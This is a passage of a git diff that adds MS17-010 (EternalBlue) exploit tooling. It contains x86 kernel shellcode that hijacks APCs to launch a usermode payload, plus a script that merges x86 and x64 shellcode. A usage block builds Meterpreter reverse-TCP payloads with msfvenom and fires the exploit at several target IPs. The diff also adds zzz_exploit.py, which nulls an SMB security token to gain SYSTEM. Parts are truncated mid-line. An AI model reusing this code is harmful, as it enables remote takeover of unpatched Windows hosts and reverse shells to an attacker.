check list head + + ; KeInitializeApc(PKAPC, + ; PKTHREAD, + ; KAPC_ENVIRONMENT = OriginalApcEnvironment (0), + ; PKKERNEL_ROUTINE = kernel_apc_routine, + ; PKRUNDOWN_ROUTINE = NULL, + ; PKNORMAL_ROUTINE = userland_shellcode, + ; KPROCESSOR_MODE = UserMode (1), + ; PVOID Context); + xor eax, eax + push ebp ; context + push 1 ; UserMode + push ebp ; userland shellcode (MUST NOT be NULL) + push eax ; NULL + call _init_kapc_find_kroutine +_init_kapc_find_kroutine: + add dword [esp], kernel_kapc_routine-_init_kapc_find_kroutine ; KernelApcRoutine + push eax ; OriginalApcEnvironment + push ebx + sub [esp], edi ; ETHREAD + push esi ; KAPC + mov eax, KEINITIALIZEAPC_HASH + call win_api_direct + + + ; BOOLEAN KeInsertQueueApc(PKAPC, SystemArgument1, SystemArgument2, 0); + ; SystemArgument1 is second argument in usermode code + ; SystemArgument2 is third argument in usermode code + xor eax, eax + push eax + push eax ; SystemArgument2 + push eax ; SystemArgument1 + push esi ; PKAPC + mov eax, KEINSERTQUEUEAPC_HASH + call win_api_direct + ; if insertion failed, try next thread + test eax, eax + jz _insert_queue_apc_loop + + mov eax, [ebp+DATA_KAPC_OFFSET+0xc] ; get KAPC.ApcListEntry + ; EPROCESS pointer 4 bytes + ; InProgressFlags 1 byte + ; KernelApcPending 1 byte + ; if success, UserApcPending MUST be 1 + cmp byte [eax+0xe], 1 + je _insert_queue_apc_done + + ; manual remove list without lock + mov [eax], eax + mov [eax+4], eax + jmp _insert_queue_apc_loop + +_insert_queue_apc_done: + ; The PEB address is needed in kernel_apc_routine. Setting QUEUEING_KAPC to 0 should be in kernel_apc_routine. + +_r3_to_r0_done: + ret + +;======================================================================== +; Call function in specific module +; +; All function arguments are passed as calling normal function with extra register arguments +; Extra Arguments: [ebp+DATA_MODULE_ADDR_OFFSET] = module pointer +; eax = hash of target function name +;======================================================================== +win_api_direct: + call get_proc_addr + jmp eax + + +;======================================================================== +; Get function address in specific module +; +; Arguments: [ebp+DATA_MODULE_ADDR_OFFSET] = module pointer +; eax = hash of target function name +; Return: eax = offset +;======================================================================== +get_proc_addr: + pushad + + mov ebp, [ebp+DATA_MODULE_ADDR_OFFSET] ; ebp = module address + xchg edi, eax ; edi = hash + + mov eax, dword [ebp+0x3c] ; Get PE header e_lfanew + mov edx, dword [ebp+eax+0x78] ; Get export tables RVA + + add edx, ebp ; edx = EAT + + mov ecx, dword [edx+0x18] ; NumberOfFunctions + mov ebx, dword [edx+0x20] ; FunctionNames + add ebx, ebp + +_get_proc_addr_get_next_func: + ; When we reach the start of the EAT (we search backwards), we hang or crash + dec ecx ; decrement NumberOfFunctions + mov esi, dword [ebx+ecx*4] ; Get rva of next module name + add esi, ebp ; Add the modules base address + + call calc_hash + + cmp eax, edi ; Compare the hashes + jnz _get_proc_addr_get_next_func ; try the next function + +_get_proc_addr_finish: + mov ebx, dword [edx+0x24] + add ebx, ebp ; ordinate table virtual address + mov cx, word [ebx+ecx*2] ; desired functions ordinal + mov ebx, dword [edx+0x1c] ; Get the function addresses table rva + add ebx, ebp ; Add the modules base address + mov eax, dword [ebx+ecx*4] ; Get the desired functions RVA + add eax, ebp ; Add the modules base address to get the functions actual VA + + mov [esp+0x1c], eax + popad + ret + +;======================================================================== +; Calculate ASCII string hash. Useful for comparing ASCII string in shellcode. +; +; Argument: esi = string to hash +; Clobber: esi +; Return: eax = hash +;======================================================================== +calc_hash: + push edx + xor eax, eax + cdq +_calc_hash_loop: + lodsb ; Read in the next byte of the ASCII string + ror edx, 13 ; Rotate right our hash value + add edx, eax ; Add the next byte of the string + test eax, eax ; Stop when found NULL + jne _calc_hash_loop + xchg edx, eax + pop edx + ret + + + +; KernelApcRoutine is called when IRQL is APC_LEVEL in (queued) Process context. +; But the IRQL is simply raised from PASSIVE_LEVEL in KiCheckForKernelApcDelivery(). +; Moreover, there is no lock when calling KernelApcRoutine. +; +; VOID KernelApcRoutine( +; IN PKAPC Apc, +; IN PKNORMAL_ROUTINE *NormalRoutine, +; IN PVOID *NormalContext, +; IN PVOID *SystemArgument1, +; IN PVOID *SystemArgument2) +kernel_kapc_routine: + ; reorder stack to make everything easier + pop eax + mov [esp+0x10], eax ; move saved eip to &SystemArgument2 + pop eax ; PKAPC (unused) + pop ecx ; &NormalRoutine + pop eax ; &NormalContext + pop edx ; &SystemArgument1 + + pushad + push edx ; &SystemArgument1 (use for set CreateThread address) + push ecx ; &NormalRoutine + + mov ebp, [eax] ; *NormalContext is our data area pointer + + ;====================================== + ; ZwAllocateVirtualMemory(-1, &baseAddr, 0, &0x1000, 0x1000, 0x40) + ;====================================== + xor eax, eax + mov byte [fs:0x24], al ; set IRQL to PASSIVE_LEVEL (ZwAllocateVirtualMemory() requires) + cdq + + mov al, 0x40 ; eax = 0x40 + push eax ; PAGE_EXECUTE_READWRITE = 0x40 + shl eax, 6 ; eax = 0x40 << 6 = 0x1000 + push eax ; MEM_COMMIT = 0x1000 + push esp ; &RegionSize = 0x1000 (reuse MEM_COMMIT argument in stack) + push edx ; ZeroBits + mov [ecx], edx + push ecx ; baseAddr = 0 + dec edx + push edx ; ProcessHandle = -1 + mov eax, ZWALLOCATEVIRTUALMEMORY_HASH + call win_api_direct +%ifndef COMPACT + test eax, eax + jnz _kernel_kapc_routine_exit +%endif + + ;====================================== + ; copy userland payload + ;====================================== + pop eax + mov edi, [eax] + call _kernel_kapc_routine_find_userland +_kernel_kapc_routine_find_userland: + pop esi + add esi, userland_start-_kernel_kapc_routine_find_userland + mov ecx, 0x400 ; fix payload size to 1024 bytes + rep movsb + + ;====================================== + ; find current PEB + ;====================================== + mov eax, [ebp+DATA_EPROCESS_OFFSET] + push eax + mov eax, PSGETPROCESSPEB_HASH + call win_api_direct + + ;====================================== + ; find CreateThread address (in kernel32.dll) + ;====================================== + mov eax, [eax + 0xc] ; PEB->Ldr + mov eax, [eax + 0x14] ; InMemoryOrderModuleList + +%ifdef COMPACT + mov esi, [eax] ; first one always be executable, skip it + lodsd ; skip ntdll.dll +%else +_find_kernel32_dll_loop: + mov eax, [eax] ; first one always be executable + ; offset 0x1c (WORD) => must be 0x40 (full name len c:\windows\system32\kernel32.dll) + ; offset 0x24 (WORD) => must be 0x18 (name len kernel32.dll) + ; offset 0x28 => is name + ; offset 0x10 => is dllbase + ;cmp word [eax+0x1c], 0x40 + ;jne _find_kernel32_dll_loop + cmp word [eax+0x24], 0x18 + jne _find_kernel32_dll_loop + + mov edx, [eax+0x28] + ; check only "32" because name might be lowercase or uppercase + cmp dword [edx+0xc], 0x00320033 ; 3\x002\x00 + jnz _find_kernel32_dll_loop +%endif + + mov ebx, [eax+0x10] + mov [ebp+DATA_MODULE_ADDR_OFFSET], ebx + mov eax, CREATETHREAD_HASH + call get_proc_addr + + ; save CreateThread address to SystemArgument1 + pop ecx + mov [ecx], eax + +_kernel_kapc_routine_exit: + xor eax, eax + ; clear queueing kapc flag, allow other hijacked system call to run shellcode + mov byte [ebp+DATA_QUEUEING_KAPC_OFFSET], al + ; restore IRQL to APC_LEVEL + inc eax + mov byte [fs:0x24], al + + popad + ret + + +userland_start: +userland_start_thread: + ; CreateThread(NULL, 0, &threadstart, NULL, 0, NULL) + pop edx ; saved eip + pop eax ; first argument (NormalContext) + pop eax ; CreateThread address passed from kernel + pop ecx ; another argument (NULL) passed from kernel + push ecx ; lpThreadId = NULL + push ecx ; dwCreationFlags = 0 + push ecx ; lpParameter = NULL + call _userland_start_thread_find_payload +_userland_start_thread_find_payload: + add dword [esp], userland_payload-_userland_start_thread_find_payload ; lpStartAddr + push ecx ; dwStackSize = 0 + push ecx ; lpThreadAttributes = NULL + push edx ; restore saved eip + jmp eax + +userland_payload: diff --git a/shellcode/eternalblue_sc_merge.py b/shellcode/eternalblue_sc_merge.py new file mode 100644 index 0000000..6451a19 --- /dev/null +++ b/shellcode/eternalblue_sc_merge.py @@ -0,0 +1,55 @@ +import sys +from struct import pack + +if len(sys.argv) < 4: + print('Usage: {} sc_x86 sc_x64 sc_out'.format(sys.argv[0])) + sys.exit() + +sc_x86 = open(sys.argv[1], 'rb').read() +sc_x64 = open(sys.argv[2], 'rb').read() + +fp = open(sys.argv[3], 'wb') +''' +\x31\xc0 xor eax, eax +\x40 inc eax +\x0f\x84???? jz sc_x64 +''' +fp.write('\x31\xc0\x40\x0f\x84'+pack(' use exploit/multi/handler +msf exploit(handler) > set ExitOnSession false +msf exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp +msf exploit(handler) > set EXITFUNC thread +msf exploit(handler) > set LHOST 0.0.0.0 +msf exploit(handler) > set LPORT 4444 +msf exploit(handler) > exploit -j +... +msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp +msf exploit(handler) > set LPORT 4445 +msf exploit(handler) > exploit -j +... + + + +$ msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=192.168.13.37 LPORT=4444 +... +$ msfvenom -p windows/meterpreter/reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=192.168.13.37 LPORT=4445 +... +$ cat sc_x64_kernel.bin sc_x64_msf.bin > sc_x64.bin +$ cat sc_x86_kernel.bin sc_x86_msf.bin > sc_x86.bin +$ python eternalblue_sc_merge.py sc_x86.bin sc_x64.bin sc_all.bin +$ python eternalblue_exploit7.py 192.168.13.81 sc_all.bin +... +$ python eternalblue_exploit7.py 192.168.13.82 sc_all.bin +... +$ python eternalblue_exploit7.py 192.168.13.83 sc_all.bin +... +$ python eternalblue_exploit7.py 192.168.13.84 sc_all.bin +... +''' diff --git a/zzz_exploit.py b/zzz_exploit.py new file mode 100644 index 0000000..084d0b4 --- /dev/null +++ b/zzz_exploit.py @@ -0,0 +1,456 @@ +#!/usr/bin/python +from impacket import smb, smbconnection +from mysmb import MYSMB +from struct import pack, unpack +import sys +import socket +import time + +''' +MS17-010 exploit for Windows 7+ x64 by sleepya + +Note: +- The exploit should never crash a target (chance should be nearly 0%) +- The exploit support only x64 target +- The exploit use the bug same as eternalromance and eternalsynergy, so named pipe is needed + +Tested on: +- Windows 2016 x64 +- Windows 2012 R2 x64 +- Windows 8.1 x64 +- Windows 2008 R2 x64 +- Windows 7 SP1 x64 +''' + +USERNAME = '' +PASSWORD = '' + +''' +Reverse from: SrvAllocateSecurityContext() and SrvImpersonateSecurityContext() +win7 x64 +struct SrvSecContext { + DWORD xx1; // second WORD is size + DWORD refCnt; + PACCESS_TOKEN Token; // 0x08 + DWORD xx2; + BOOLEAN CopyOnOpen; // 0x14 + BOOLEAN EffectiveOnly; + WORD xx3; + DWORD ImpersonationLevel; // 0x18 + DWORD xx4; + BOOLEAN UsePsImpersonateClient; // 0x20 +} +win2012 x64 +struct SrvSecContext { + DWORD xx1; // second WORD is size + DWORD refCnt; + QWORD xx2; + QWORD xx3; + PACCESS_TOKEN Token; // 0x18 + DWORD xx4; + BOOLEAN CopyOnOpen; // 0x24 + BOOLEAN EffectiveOnly; + WORD xx3; + DWORD ImpersonationLevel; // 0x28 + DWORD xx4; + BOOLEAN UsePsImpersonateClient; // 0x30 +} + +SrvImpersonateSecurityContext() is used in Windows 7 and later before doing any operation as logged on user. +It called PsImperonateClient() if SrvSecContext.UsePsImpersonateClient is true. +From https://msdn.microsoft.com/en-us/library/windows/hardware/ff551907(v=vs.85).aspx, if Token is NULL, +PsImperonateClient() ends the impersonation. Even there is no impersonation, the PsImperonateClient() returns +STATUS_SUCCESS when Token is NULL. +If we can overwrite Token to NULL and UsePsImpersonateClient to true, a running thread will use primary token (SYSTEM) +to do all SMB operations. +Note: fake Token might be possible, but NULL token is much easier. +''' +WIN7_INFO = { + 'SESSION_SECCTX_OFFSET': 0xa0, + 'SESSION_ISNULL_OFFSET': 0xba, + 'FAKE_SECCTX': pack(' ".format(sys.argv[0])) + sys.exit(1) + +target = sys.argv[1] +pipe_name = sys.argv[2] + +exploit(target, pipe_name) +print('Done')